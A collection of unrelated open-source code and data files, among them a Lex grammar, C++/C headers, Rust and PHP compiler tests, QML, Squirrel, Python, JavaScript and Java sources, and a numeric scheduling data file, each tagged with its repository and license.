"<=" return (int)GoalTokens.LTE_OP;
">" return (int)GoalTokens.GT_OP;
">=" return (int)GoalTokens.GTE_OP;
/* Special characters */
"(" return (int)'(';
")" return (int)')';
";" return (int)';';
"," return (int)',';
"." return (int)'.';
[ \t\v\r\n\f] ;
{letter}({letter}|{digit}|_)* { yylval = MakeLiteral(yytext); return (int)GoalTokens.IDENTIFIER; }
/* GUID strings */
({hex}{8})-({hex}{4})-({hex}{4})-({hex}{4})-({hex}{12}) { yylval = MakeLiteral(yytext); return (int)GoalTokens.GUIDSTRING; }
/* Special case for identifiers with a GUID string at the end */
{letter}({letter}|{digit}|_|-)*({hex}{8})-({hex}{4})-({hex}{4})-({hex}{4})-({hex}{12}) { yylval = MakeLiteral(yytext); return (int)GoalTokens.GUIDSTRING; }
/* Variables with a leading underscore are local, and are handled differently */
_({letter}|{digit}|_)* { yylval = MakeLiteral(yytext); return (int)GoalTokens.LOCAL_VAR; }
[+\-]?{digit}({digit})* { yylval = MakeLiteral(yytext); return (int)GoalTokens.INTEGER; }
[+\-]?{digit}+\.{digit}+ { yylval = MakeLiteral(yytext); return (int)GoalTokens.FLOAT; }
L?\"(\\.|[^\\"])*\" { yylval = MakeString(yytext); return (int)GoalTokens.STRING; }
/* Comments */
[/][/][^\n]*\n ;
"/*" { BEGIN(C_COMMENT); }
<C_COMMENT>"*/" { BEGIN(INITIAL); }
<C_COMMENT>\n { }
<C_COMMENT>. { }
. return ((int)GoalTokens.BAD);
%{
yylloc = new CodeLocation(fileName, tokLin, tokCol, tokELin, tokECol/*, tokPos, tokEPos, buffer*/);
%}
| Lex | 4 | EmperorPark/lslib | LSLib/LS/Story/GoalParser/Goal.lex | [
"MIT"
] |
/*
* Copyright (c) 2021, Pedro Pereira <[email protected]>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#pragma once
#include <LibGUI/Button.h>
#include <LibGUI/Dialog.h>
#include <LibGUI/SpinBox.h>
class Field;
class CustomGameDialog : public GUI::Dialog {
C_OBJECT(CustomGameDialog);
public:
static int show(GUI::Window* parent_window, Field& field);
private:
CustomGameDialog(GUI::Window* parent_window);
virtual ~CustomGameDialog() override;
void set_max_mines();
RefPtr<GUI::Button> m_ok_button;
RefPtr<GUI::Button> m_cancel_button;
RefPtr<GUI::SpinBox> m_columns_spinbox;
RefPtr<GUI::SpinBox> m_rows_spinbox;
RefPtr<GUI::SpinBox> m_mines_spinbox;
};
| C | 4 | r00ster91/serenity | Userland/Games/Minesweeper/CustomGameDialog.h | [
"BSD-2-Clause"
] |
--TEST--
Static type outside class generates compile error
--FILE--
<?php
function test(): static {}
?>
--EXPECTF--
Fatal error: Cannot use "static" when no class scope is active in %s on line %d
| PHP | 2 | thiagooak/php-src | Zend/tests/type_declarations/static_type_outside_class.phpt | [
"PHP-3.01"
] |
[Desktop Entry]
Type=Application
Version=1.0
Name=Mopidy
Comment=Music server with support for MPD and HTTP clients
Icon=audio-x-generic
TryExec=mopidy
Exec=mopidy
Terminal=true
Categories=AudioVideo;Audio;Player;ConsoleOnly;
StartupNotify=true
| desktop | 3 | grdorin/mopidy | extra/desktop/mopidy.desktop | [
"Apache-2.0"
] |
import QtQuick 2.0
import QtQuick.Controls 1.0
import QtQuick.Layouts 1.0
import im.ricochet 1.0
MouseArea {
id: offlineState
acceptedButtons: Qt.LeftButton | Qt.RightButton
visible: opacity > 0
enabled: visible
opacity: 0
clip: true
Behavior on opacity { NumberAnimation { duration: 500 } }
Rectangle {
anchors.fill: parent
color: palette.base
}
Label {
id: label
anchors {
horizontalCenter: parent.horizontalCenter
verticalCenter: parent.verticalCenter
verticalCenterOffset: parent.height / -3
}
font.pointSize: 14
}
Rectangle {
id: indicator
width: label.width
anchors {
top: label.bottom
topMargin: 2
}
height: 2
x: label.x
onWidthChanged: if (indicatorAnimation.running) indicatorAnimation.restart()
property alias running: indicatorAnimation.running
SequentialAnimation {
id: indicatorAnimation
function restart() {
stop()
animation1.to = offlineState.width
animation2.from = -indicator.width
animation2.to = offlineState.width
start()
}
NumberAnimation {
id: animation1
target: indicator
property: "x"
to: offlineState.width
duration: 500
easing.type: Easing.InQuad
}
NumberAnimation {
id: animation2
loops: Animation.Infinite
target: indicator
property: "x"
from: -indicator.width
to: offlineState.width
duration: 1500
easing.type: Easing.OutInQuad
}
}
}
onWidthChanged: if (indicatorAnimation.running) indicatorAnimation.restart()
Label {
id: detailedLabel
anchors {
left: parent.left
right: parent.right
top: indicator.bottom
margins: 16
}
wrapMode: Text.Wrap
horizontalAlignment: Text.AlignHCenter
color: Qt.lighter(palette.text, 1.2)
font.pointSize: 11
text: torControl.errorMessage
}
GridLayout {
id: buttonRow
visible: false
anchors {
left: parent.left
right: parent.right
top: detailedLabel.bottom
margins: 16
topMargin: 32
}
Button {
Layout.alignment: Qt.AlignRight | Qt.AlignVCenter
text: qsTr("Configure")
onClicked: {
var object = createDialog("NetworkSetupWizard.qml", { }, window)
object.visible = true
}
}
Button {
Layout.alignment: Qt.AlignLeft | Qt.AlignVCenter
text: qsTr("Details")
onClicked: {
openPreferences("TorPreferences.qml")
}
}
}
states: [
State {
name: "connected"
when: torControl.torStatus === TorControl.TorReady
PropertyChanges {
target: offlineState
opacity: 0
}
},
State {
name: "failed"
when: torControl.status === TorControl.Error
PropertyChanges {
target: offlineState
opacity: 1
}
PropertyChanges {
target: label
text: qsTr("Connection failed")
}
PropertyChanges {
target: indicator
color: "#ffdcc4"
running: false
}
PropertyChanges {
target: buttonRow
visible: true
}
},
State {
name: "connecting"
when: torControl.torStatus !== TorControl.TorReady
PropertyChanges {
target: offlineState
opacity: 1
}
PropertyChanges {
target: label
//: \u2026 is ellipsis
text: qsTr("Connecting\u2026")
}
PropertyChanges {
target: indicator
color: "#c4e7ff"
running: true
x: label.x
}
}
]
transitions: [
Transition {
to: "connecting"
SequentialAnimation {
PropertyAction {
target: label
property: "text"
}
PropertyAction {
target: indicator
property: "running"
}
ColorAnimation {
target: indicator
property: "color"
duration: 1000
}
}
},
Transition {
to: "failed"
SequentialAnimation {
PropertyAction {
target: indicator
property: "running"
}
PropertyAction {
target: label
property: "text"
}
ParallelAnimation {
NumberAnimation {
target: indicator
property: "x"
duration: 1000
easing.type: Easing.OutQuad
}
ColorAnimation {
target: indicator
property: "color"
duration: 1000
}
}
}
}
]
}
| QML | 4 | garrettr/ricochet | src/ui/qml/OfflineStateItem.qml | [
"OpenSSL"
] |
// check-pass
// This is a regression test for ICEs from
// https://github.com/rust-lang/rust/issues/71612
// and
// https://github.com/rust-lang/rust/issues/71709
#[derive(Copy, Clone)]
pub struct Glfw;
static mut GLFW: Option<Glfw> = None;
pub fn new() -> Glfw {
unsafe {
if let Some(glfw) = GLFW {
return glfw;
} else {
todo!()
}
};
}
extern "C" {
static _dispatch_queue_attr_concurrent: [u8; 0];
}
static DISPATCH_QUEUE_CONCURRENT: &'static [u8; 0] =
unsafe { &_dispatch_queue_attr_concurrent };
fn main() {
*DISPATCH_QUEUE_CONCURRENT;
new();
}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/consts/ice-zst-static-access.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
untyped
global function ToneController_Init
global function UpdateToneSettings
global function SetAutoExposureMin
global function SetAutoExposureMax
global function SetAutoExposureCompensation
global function SetAutoExposureCompensationBias
global function SetAutoExposureRate
global function UseDefaultAutoExposure
global function SetBloomScale
function ToneController_Init()
{
level.toneController <- CreateEntity( "env_tonemap_controller" )
DispatchSpawn( level.toneController )
AddCallback_EntitiesDidLoad( UpdateToneSettings )
}
void function UpdateToneSettings()
{
string mapName = GetMapName()
UseDefaultAutoExposure()
switch ( mapName )
{
case "mp_angel_city":
SetAutoExposureMin( 1.11 )
SetAutoExposureMax( 1.5 )
break;
case "mp_boneyard":
SetAutoExposureMin( 1.3 )
SetAutoExposureMax( 2.3 )
break;
case "mp_lagoon":
SetAutoExposureMin( 0.8 )
SetAutoExposureMax( 2.0 )
break;
case "mp_o2":
SetAutoExposureMin( 1.0 )
SetAutoExposureMax( 2.0 )
break;
case "mp_fracture":
SetAutoExposureMin( 1.25 )
SetAutoExposureMax( 4.0 )
break;
case "mp_training_ground":
SetAutoExposureMin( 0.6 )
SetAutoExposureMax( 2.5 )
break;
case "mp_relic":
SetAutoExposureMin( 0.9 )
SetAutoExposureMax( 2.0 )
break;
case "mp_smugglers_cove":
SetAutoExposureMin( 0.5 )
SetAutoExposureMax( 0.7 )
break;
case "mp_swampland":
SetAutoExposureMin( 0.5 )
SetAutoExposureMax( 0.8 )
break;
case "mp_runoff":
SetAutoExposureMin( 0.5 )
SetAutoExposureMax( 1.0 )
break;
case "mp_wargames":
SetAutoExposureMin( 1.0 )
SetAutoExposureMax( 1.75 )
break;
case "mp_harmony_mines":
SetAutoExposureMin( 1.0 )
SetAutoExposureMax( 1.75 )
break;
case "mp_switchback":
SetAutoExposureMin( 1.0 )
SetAutoExposureMax( 1.75 )
break;
case "mp_sandtrap":
SetAutoExposureMin( 0.5 )
SetAutoExposureMax( 1.15 )
break;
case "mp_taube_rock_photo_test":
SetAutoExposureMin( 1.2 )
SetAutoExposureMax( 2.0 )
SetBloomScale (1.0)
break;
case "mp_taube_forest_test":
SetAutoExposureMin( 1.2 )
SetAutoExposureMax( 2.0 )
SetBloomScale (1.0)
break;
case "mp_pbr_ball_test":
SetAutoExposureMin( 1.2 )
SetAutoExposureMax( 2.0 )
break;
case "mp_mendoko_taube_style":
SetBloomScale (1.0)
break;
case "mp_kodai_josh_style_01":
SetBloomScale (1.0)
break;
case "mp_fake_sky_taube_01":
SetBloomScale (1.0)
break;
case "sp_beacon_taube_style":
SetBloomScale (1.0)
break;
case "sp_trainer":
SetBloomScale( 0.2 )
SetAutoExposureMin( 0.8 )
SetAutoExposureMax( 0.8 )
break
case "sp_beacon":
SetAutoExposureMax( 5.0 )
break;
case "sp_beacon_spoke0":
SetAutoExposureMax( 5.0 )
break;
default:
UseDefaultAutoExposure()
break
}
}
function SetAutoExposureMin( float value )
{
level.toneController.Fire( "SetAutoExposureMin", value )
}
function SetAutoExposureMax( float value )
{
level.toneController.Fire( "SetAutoExposureMax", value )
}
function SetAutoExposureCompensation( float value )
{
level.toneController.Fire( "SetAutoExposureCompensation", value )
}
function SetAutoExposureCompensationBias( float value )
{
level.toneController.Fire( "SetAutoExposureCompensationBias", value )
}
function SetAutoExposureRate( float value )
{
level.toneController.Fire( "SetAutoExposureRate", value )
}
function UseDefaultAutoExposure()
{
level.toneController.Fire( "UseDefaultAutoExposure" )
}
function SetBloomScale( float value )
{
level.toneController.Fire( "SetBloomScale", value )
}
| Squirrel | 4 | GeckoEidechse/NorthstarMods | Northstar.CustomServers/mod/scripts/vscripts/mp/_tonecontroller.nut | [
"MIT"
] |
"""The tests for the Select integration."""
| Python | 0 | MrDelik/core | tests/components/select/__init__.py | [
"Apache-2.0"
] |
"""Test Notion diagnostics."""
from homeassistant.components.diagnostics import REDACTED
from tests.components.diagnostics import get_diagnostics_for_config_entry
async def test_entry_diagnostics(hass, config_entry, hass_client, setup_notion):
"""Test config entry diagnostics."""
assert await get_diagnostics_for_config_entry(hass, hass_client, config_entry) == {
"bridges": {
"12345": {
"id": 12345,
"name": None,
"mode": "home",
"hardware_id": "0x1234567890abcdef",
"hardware_revision": 4,
"firmware_version": {
"wifi": "0.121.0",
"wifi_app": "3.3.0",
"silabs": "1.0.1",
},
"missing_at": None,
"created_at": "2019-04-30T01:43:50.497Z",
"updated_at": "2019-04-30T01:44:43.749Z",
"system_id": 12345,
"firmware": {
"wifi": "0.121.0",
"wifi_app": "3.3.0",
"silabs": "1.0.1",
},
"links": {"system": 12345},
}
},
"sensors": {
"123456": {
"id": 123456,
"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"user": {"id": 12345, "email": REDACTED},
"bridge": {"id": 12345, "hardware_id": "0x1234567890abcdef"},
"last_bridge_hardware_id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"name": "Bathroom Sensor",
"location_id": 123456,
"system_id": 12345,
"hardware_id": "0x1234567890abcdef",
"firmware_version": "1.1.2",
"hardware_revision": 5,
"device_key": REDACTED,
"encryption_key": True,
"installed_at": "2019-04-30T01:57:34.443Z",
"calibrated_at": "2019-04-30T01:57:35.651Z",
"last_reported_at": "2019-04-30T02:20:04.821Z",
"missing_at": None,
"updated_at": "2019-04-30T01:57:36.129Z",
"created_at": "2019-04-30T01:56:45.932Z",
"signal_strength": 5,
"links": {"location": 123456},
"lqi": 0,
"rssi": -46,
"surface_type": None,
},
"132462": {
"id": 132462,
"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"user": {"id": 12345, "email": REDACTED},
"bridge": {"id": 12345, "hardware_id": "0x1234567890abcdef"},
"last_bridge_hardware_id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"name": "Living Room Sensor",
"location_id": 123456,
"system_id": 12345,
"hardware_id": "0x1234567890abcdef",
"firmware_version": "1.1.2",
"hardware_revision": 5,
"device_key": REDACTED,
"encryption_key": True,
"installed_at": "2019-04-30T01:45:56.169Z",
"calibrated_at": "2019-04-30T01:46:06.256Z",
"last_reported_at": "2019-04-30T02:20:04.829Z",
"missing_at": None,
"updated_at": "2019-04-30T01:46:07.717Z",
"created_at": "2019-04-30T01:45:14.148Z",
"signal_strength": 5,
"links": {"location": 123456},
"lqi": 0,
"rssi": -30,
"surface_type": None,
},
},
"tasks": {
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx": {
"id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"task_type": "low_battery",
"sensor_data": [],
"status": {
"insights": {
"primary": {
"from_state": None,
"to_state": "high",
"data_received_at": "2020-11-17T18:40:27.024Z",
"origin": {},
}
}
},
"created_at": "2020-11-17T18:40:27.024Z",
"updated_at": "2020-11-17T18:40:27.033Z",
"sensor_id": 525993,
"model_version": "4.1",
"configuration": {},
"links": {"sensor": 525993},
}
},
}
| Python | 4 | MrDelik/core | tests/components/notion/test_diagnostics.py | [
"Apache-2.0"
] |
import parseMetadata from "./parse"
const propsId = (parentId, name) => `${parentId}--ComponentProp-${name}`
const descId = parentId => `${parentId}--ComponentDescription`
function canParse(node) {
return (
node &&
(node.internal.mediaType === `application/javascript` ||
// TypeScript doesn't really have a mime type and .ts files are a media file :/
node.internal.mediaType === `application/typescript` ||
node.internal.mediaType === `text/jsx` ||
node.internal.mediaType === `text/tsx` ||
node.extension === `tsx` ||
node.extension === `ts`)
)
}
function createDescriptionNode(
node,
entry,
actions,
createNodeId,
createContentDigest
) {
const { createNode } = actions
delete node.description
const descriptionNode = {
id: createNodeId(descId(node.id)),
parent: node.id,
children: [],
text: entry.description,
internal: {
type: `ComponentDescription`,
mediaType: `text/markdown`,
content: entry.description,
contentDigest: createContentDigest(entry.description),
},
}
node.description___NODE = descriptionNode.id
node.children = node.children.concat([descriptionNode.id])
createNode(descriptionNode)
return node
}
function createPropNodes(
node,
component,
actions,
createNodeId,
createContentDigest
) {
const { createNode } = actions
const children = new Array(component.props.length)
component.props.forEach((prop, i) => {
const propNodeId = propsId(node.id, prop.name)
const content = JSON.stringify(prop)
let propNode = {
...prop,
id: createNodeId(propNodeId),
children: [],
parent: node.id,
parentType: prop.type,
internal: {
type: `ComponentProp`,
contentDigest: createContentDigest(content),
},
}
children[i] = propNode.id
propNode = createDescriptionNode(
propNode,
prop,
actions,
createNodeId,
createContentDigest
)
createNode(propNode)
})
node.props___NODE = children
node.children = node.children.concat(children)
return node
}
export function unstable_shouldOnCreateNode({ node }) {
return canParse(node)
}
export async function onCreateNode(
{
node,
loadNodeContent,
actions,
createNodeId,
reporter,
createContentDigest,
},
pluginOptions
) {
if (!canParse(node)) return
const { createNode, createParentChildLink } = actions
const content = await loadNodeContent(node)
let components
try {
components = parseMetadata(content, node, pluginOptions)
} catch (err) {
reporter.error(
`There was a problem parsing component metadata for file: "${node.relativePath}"`,
err
)
return
}
components.forEach(component => {
const strContent = JSON.stringify(component)
const contentDigest = createContentDigest(strContent)
const nodeId = `${node.id}--${component.displayName}--ComponentMetadata`
let metadataNode = {
...component,
props: null, // handled by the prop node creation
id: createNodeId(nodeId),
children: [],
parent: node.id,
internal: {
contentDigest,
type: `ComponentMetadata`,
},
}
createParentChildLink({ parent: node, child: metadataNode })
metadataNode = createPropNodes(
metadataNode,
component,
actions,
createNodeId,
createContentDigest
)
metadataNode = createDescriptionNode(
metadataNode,
component,
actions,
createNodeId,
createContentDigest
)
createNode(metadataNode)
})
}
| JavaScript | 5 | waltercruz/gatsby | packages/gatsby-transformer-react-docgen/src/on-node-create.js | [
"MIT"
] |
package com.blankj.utilcode.util;
import android.app.Activity;
import android.content.Intent;
/**
* <pre>
* author: blankj
* blog : http://blankj.com
* time : 2020/03/19
* desc :
* </pre>
*/
public class UtilsTransActivity4MainProcess extends UtilsTransActivity {
public static void start(final TransActivityDelegate delegate) {
start(null, null, delegate, UtilsTransActivity4MainProcess.class);
}
public static void start(final Utils.Consumer<Intent> consumer,
final TransActivityDelegate delegate) {
start(null, consumer, delegate, UtilsTransActivity4MainProcess.class);
}
public static void start(final Activity activity,
final TransActivityDelegate delegate) {
start(activity, null, delegate, UtilsTransActivity4MainProcess.class);
}
public static void start(final Activity activity,
final Utils.Consumer<Intent> consumer,
final TransActivityDelegate delegate) {
start(activity, consumer, delegate, UtilsTransActivity4MainProcess.class);
}
}
| Java | 4 | YashBangera7/AndroidUtilCode | lib/utilcode/src/main/java/com/blankj/utilcode/util/UtilsTransActivity4MainProcess.java | [
"Apache-2.0"
] |
// check-pass
#![feature(generic_const_exprs)]
#![allow(incomplete_features)]
trait If<const COND: bool> {}
impl If<true> for () {}
trait IsZero<const N: u8> {
type Answer;
}
struct True;
struct False;
impl<const N: u8> IsZero<N> for ()
where (): If<{N == 0}> {
type Answer = True;
}
trait Foobar<const N: u8> {}
impl<const N: u8> Foobar<N> for ()
where (): IsZero<N, Answer = True> {}
impl<const N: u8> Foobar<N> for ()
where (): IsZero<N, Answer = False> {}
fn main() {}
| Rust | 3 | mbc-git/rust | src/test/ui/const-generics/generic_const_exprs/issue-74634.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
#pragma once
#include <c10/core/MemoryFormat.h>
#include <c10/core/TensorImpl.h>
#include <c10/util/Exception.h>
namespace at {
// An "Opaque" TensorImpl -- there are no strides and (for now)
// even data() is not supported (thus no pointer arithmetic).
// NOTE: We could allow data() in the future, but would have to ensure pointer
// arithmetic code is properly guarded.
//
// NOTE: This does not support resize_ (and other metadata-changing ops) because
// of `shallow_copy_and_detach`. We would need to define an interface to
// "shallow copy" in order to add support.
template <typename OpaqueHandle>
struct TORCH_API OpaqueTensorImpl : public TensorImpl {
// public constructor for now...
OpaqueTensorImpl(
at::DispatchKeySet key_set,
const caffe2::TypeMeta data_type,
c10::Device device,
OpaqueHandle opaque_handle,
c10::IntArrayRef sizes,
bool is_non_overlapping_and_dense = true)
: TensorImpl(key_set, data_type, device),
opaque_handle_(std::move(opaque_handle)) {
set_storage_access_should_throw();
set_has_contiguity_policy(HasContiguityPolicy::ContiguityNotSupported);
sizes_and_strides_.set_sizes(sizes);
refresh_numel();
is_non_overlapping_and_dense_ = is_non_overlapping_and_dense;
}
void release_resources() override {
TensorImpl::release_resources();
opaque_handle_ = {};
}
IntArrayRef strides() const override {
AT_ERROR("opaque tensors do not have strides");
}
int64_t stride(int64_t d) const override {
AT_ERROR("opaque tensors do not have strides");
}
void set_size(int64_t dim, int64_t new_size) override {
AT_ERROR("opaque tensors do not have set_size");
}
void set_stride(int64_t dim, int64_t new_stride) override {
AT_ERROR("opaque tensors do not have set_stride");
}
void set_storage_offset(int64_t storage_offset) override {
AT_ERROR("opaque tensors do not have set_storage_offset");
}
#ifdef DEBUG
bool has_storage() const override {
TORCH_INTERNAL_ASSERT_DEBUG_ONLY(!storage_, "OpaqueTensorImpl assumes that storage_ is never set");
return false;
}
#endif
/**
* Return a TensorImpl that is a shallow-copy of this TensorImpl.
*
* For usage of `version_counter` and `allow_tensor_metadata_change`,
* see NOTE [ TensorImpl Shallow-Copying ].
*/
c10::intrusive_ptr<TensorImpl> shallow_copy_and_detach(
const c10::VariableVersion& version_counter,
bool allow_tensor_metadata_change) const override {
auto impl = c10::make_intrusive<OpaqueTensorImpl<OpaqueHandle>>(
key_set(), dtype(), device(), opaque_handle_, sizes_and_strides_.sizes_arrayref());
copy_tensor_metadata(
/*src_opaque_impl=*/this,
/*dest_opaque_impl=*/impl.get(),
/*version_counter=*/version_counter,
/*allow_tensor_metadata_change=*/allow_tensor_metadata_change);
impl->refresh_numel();
return impl;
}
/**
* Return a TensorImpl that is a shallow-copy of this TensorImpl.
*
* For usage of `version_counter` and `allow_tensor_metadata_change`,
* see NOTE [ TensorImpl Shallow-Copying ].
*/
c10::intrusive_ptr<TensorImpl> shallow_copy_and_detach(
c10::VariableVersion&& version_counter,
bool allow_tensor_metadata_change) const override {
auto impl = c10::make_intrusive<OpaqueTensorImpl<OpaqueHandle>>(
key_set(), dtype(), device(), opaque_handle_, sizes_and_strides_.sizes_arrayref());
copy_tensor_metadata(
/*src_opaque_impl=*/this,
/*dest_opaque_impl=*/impl.get(),
/*version_counter=*/std::move(version_counter),
/*allow_tensor_metadata_change=*/allow_tensor_metadata_change);
impl->refresh_numel();
return impl;
}
/**
* Shallow-copies data from another TensorImpl into this TensorImpl.
*
* For why this function doesn't check this TensorImpl's
* `allow_tensor_metadata_change_`, see NOTE [ TensorImpl Shallow-Copying ].
*/
void shallow_copy_from(const c10::intrusive_ptr<TensorImpl>& impl) override {
AT_ASSERT(has_compatible_shallow_copy_type(impl->key_set()));
auto opaque_impl =
static_cast<const OpaqueTensorImpl<OpaqueHandle>*>(impl.get());
copy_tensor_metadata(
/*src_impl=*/opaque_impl,
/*dest_impl=*/this,
/*version_counter=*/version_counter(),
/*allow_tensor_metadata_change=*/allow_tensor_metadata_change());
refresh_numel();
}
const OpaqueHandle& opaque_handle() const {
return opaque_handle_;
}
OpaqueHandle& unsafe_opaque_handle() {
return opaque_handle_;
}
protected:
/**
* Copy the tensor metadata fields (e.g. sizes / strides / storage pointer /
* storage_offset) from one TensorImpl to another TensorImpl.
*
* For usage of `version_counter` and `allow_tensor_metadata_change`, see NOTE
* [ TensorImpl Shallow-Copying ].
*/
static void copy_tensor_metadata(
const OpaqueTensorImpl<OpaqueHandle>* src_opaque_impl,
OpaqueTensorImpl<OpaqueHandle>* dest_opaque_impl,
const c10::VariableVersion& version_counter,
bool allow_tensor_metadata_change) {
TensorImpl::copy_tensor_metadata(
src_opaque_impl,
dest_opaque_impl,
version_counter,
allow_tensor_metadata_change);
// OpaqueTensorImpl-specific fields.
dest_opaque_impl->opaque_handle_ = src_opaque_impl->opaque_handle_;
}
static void copy_tensor_metadata(
const OpaqueTensorImpl<OpaqueHandle>* src_opaque_impl,
OpaqueTensorImpl<OpaqueHandle>* dest_opaque_impl,
c10::VariableVersion&& version_counter,
bool allow_tensor_metadata_change) {
TensorImpl::copy_tensor_metadata(
src_opaque_impl,
dest_opaque_impl,
std::move(version_counter),
allow_tensor_metadata_change);
// OpaqueTensorImpl-specific fields.
dest_opaque_impl->opaque_handle_ = src_opaque_impl->opaque_handle_;
}
private:
const char* tensorimpl_type_name() const override {
return "OpaqueTensorImpl";
}
OpaqueHandle opaque_handle_;
};
} // namespace at
| C | 4 | Hacky-DH/pytorch | aten/src/ATen/OpaqueTensorImpl.h | [
"Intel"
] |
100 5 0 0
0 1 6 4 2 52 3 85 1 [0] [0] [0] [0] [0] [0]
1 1 1 77 [6]
2 1 1 34 [11]
3 1 2 35 51 [13] [13]
4 1 1 76 [12]
5 1 1 90 [15]
6 1 1 89 [11]
7 1 1 50 [15]
8 1 2 37 66 [14] [14]
9 1 1 7 [13]
10 1 2 96 88 [15] [15]
11 1 2 99 42 [9] [9]
12 1 1 57 [13]
13 1 2 64 41 [9] [9]
14 1 2 8 17 [13] [13]
15 1 1 36 [5]
16 1 1 21 [15]
17 1 1 49 [6]
18 1 2 95 96 [5] [5]
19 1 2 75 72 [11] [11]
20 1 5 18 59 34 64 94 [9] [9] [9] [9] [9]
21 1 1 11 [7]
22 1 4 65 67 30 73 [-32] [15] [15] [-26]
23 1 1 61 [14]
24 1 2 97 99 [15] [15]
25 1 3 93 18 38 [14] [14] [14]
26 1 2 59 71 [10] [10]
27 1 2 74 28 [-34] [14]
28 1 5 58 27 101 52 74 [-49] [-38] [5] [-70] [-56]
29 1 2 10 8 [10] [10]
30 1 1 37 [6]
31 1 2 91 53 [8] [8]
32 1 1 60 [5]
33 1 1 88 [9]
34 1 1 18 [10]
35 1 1 72 [5]
36 1 2 30 10 [6] [6]
37 1 1 98 [8]
38 1 1 35 [13]
39 1 3 35 87 31 [11] [11] [11]
40 1 3 16 12 1 [10] [-108] [-120]
41 1 1 6 [8]
42 1 2 95 80 [9] [9]
43 1 1 23 [15]
44 1 1 63 [13]
45 1 1 12 [14]
46 1 2 101 85 [9] [-37]
47 1 1 81 [7]
48 1 2 20 26 [11] [11]
49 1 2 36 29 [11] [11]
50 1 1 19 [14]
51 1 1 44 [14]
52 1 1 91 [8]
53 1 1 55 [12]
54 1 1 31 [6]
55 1 3 15 84 96 [8] [8] [8]
56 1 1 81 [14]
57 1 1 43 [15]
58 1 1 27 [9]
59 1 2 97 36 [10] [10]
60 1 1 54 [13]
61 1 2 40 1 [9] [-127]
62 1 1 14 [12]
63 1 1 9 [15]
64 1 1 93 [5]
65 1 1 73 [11]
66 1 1 13 [15]
67 1 2 101 68 [6] [-56]
68 1 1 83 [8]
69 1 1 48 [7]
70 1 1 78 [9]
71 1 2 59 24 [15] [15]
72 1 1 32 [7]
73 1 2 22 65 [11] [-32]
74 1 2 58 52 [10] [-52]
75 1 1 5 [8]
76 1 1 56 [11]
77 1 1 82 [8]
78 1 2 79 28 [6] [6]
79 1 1 15 [6]
80 1 1 62 [7]
81 1 1 46 [15]
82 1 1 45 [5]
83 1 1 65 [11]
84 1 1 59 [7]
85 1 3 26 47 35 [15] [15] [15]
86 1 2 39 73 [9] [9]
87 1 2 25 72 [10] [10]
88 1 1 74 [13]
89 1 1 92 [13]
90 1 1 69 [6]
91 1 2 101 33 [7] [7]
92 1 1 64 [14]
93 1 1 100 [12]
94 1 1 86 [6]
95 1 1 91 [12]
96 1 2 100 68 [9] [9]
97 1 1 70 [7]
98 1 1 101 [10]
99 1 3 101 1 82 [14] [-140] [-133]
100 1 1 101 [8]
101 1 0
0 1 0 0 0 0 0 0
1 1 6 0 1 0 2 0
2 1 11 2 0 1 1 0
3 1 13 0 1 2 0 1
4 1 12 0 3 2 3 0
5 1 15 0 0 0 1 0
6 1 11 2 0 3 1 0
7 1 15 0 0 0 1 2
8 1 14 3 0 0 1 0
9 1 13 0 1 0 3 0
10 1 15 0 1 0 0 0
11 1 9 3 3 0 0 0
12 1 13 0 0 0 1 0
13 1 9 0 0 0 0 3
14 1 13 0 0 0 3 0
15 1 5 1 1 0 0 2
16 1 15 1 3 0 3 1
17 1 6 0 2 0 1 0
18 1 5 2 0 0 1 1
19 1 11 1 3 1 0 0
20 1 9 0 1 2 2 3
21 1 7 3 3 0 0 0
22 1 15 1 0 0 0 2
23 1 14 0 0 3 0 0
24 1 15 0 1 0 0 0
25 1 14 0 0 3 0 1
26 1 10 0 0 3 0 0
27 1 14 0 3 3 1 0
28 1 5 1 0 2 0 3
29 1 10 0 3 0 0 1
30 1 6 0 3 0 0 2
31 1 8 2 0 0 3 0
32 1 5 0 1 0 0 0
33 1 9 3 0 3 0 1
34 1 10 3 0 3 1 0
35 1 5 3 1 0 0 0
36 1 6 0 2 0 0 3
37 1 8 1 0 2 3 2
38 1 13 3 0 2 0 0
39 1 11 0 0 1 0 0
40 1 10 0 1 0 3 2
41 1 8 0 3 3 2 2
42 1 9 0 2 0 0 0
43 1 15 2 0 2 0 3
44 1 13 0 0 0 3 0
45 1 14 0 0 0 2 0
46 1 9 3 0 3 0 3
47 1 7 1 3 1 2 0
48 1 11 2 2 1 0 0
49 1 11 0 3 1 0 0
50 1 14 0 0 3 0 0
51 1 14 0 2 2 1 0
52 1 8 1 1 0 0 1
53 1 12 0 3 0 3 0
54 1 6 1 0 0 0 0
55 1 8 0 0 2 0 0
56 1 14 0 3 2 2 2
57 1 15 2 2 0 0 3
58 1 9 0 0 3 0 1
59 1 10 0 0 2 0 2
60 1 13 0 0 3 0 3
61 1 9 3 1 1 0 2
62 1 12 0 0 3 3 0
63 1 15 0 0 1 0 2
64 1 5 0 0 1 0 2
65 1 11 3 0 0 0 3
66 1 15 0 0 2 0 2
67 1 6 1 0 1 3 0
68 1 8 2 0 3 3 1
69 1 7 0 3 3 0 0
70 1 9 0 2 0 0 3
71 1 15 0 0 0 0 1
72 1 7 0 2 2 2 0
73 1 11 1 2 0 0 3
74 1 10 0 0 0 2 2
75 1 8 0 1 1 3 0
76 1 11 0 2 2 0 0
77 1 8 3 0 0 1 1
78 1 6 0 0 3 0 2
79 1 6 2 0 2 0 0
80 1 7 0 0 0 0 2
81 1 15 0 1 0 0 3
82 1 5 1 0 0 2 0
83 1 11 0 3 2 0 0
84 1 7 0 2 3 3 0
85 1 15 2 0 3 0 3
86 1 9 1 0 0 1 0
87 1 10 0 0 3 0 3
88 1 13 1 1 0 0 1
89 1 13 0 0 0 0 1
90 1 6 0 2 0 0 2
91 1 7 0 0 0 0 3
92 1 14 0 1 3 3 1
93 1 12 0 2 2 0 1
94 1 6 1 0 0 3 0
95 1 12 2 0 0 0 0
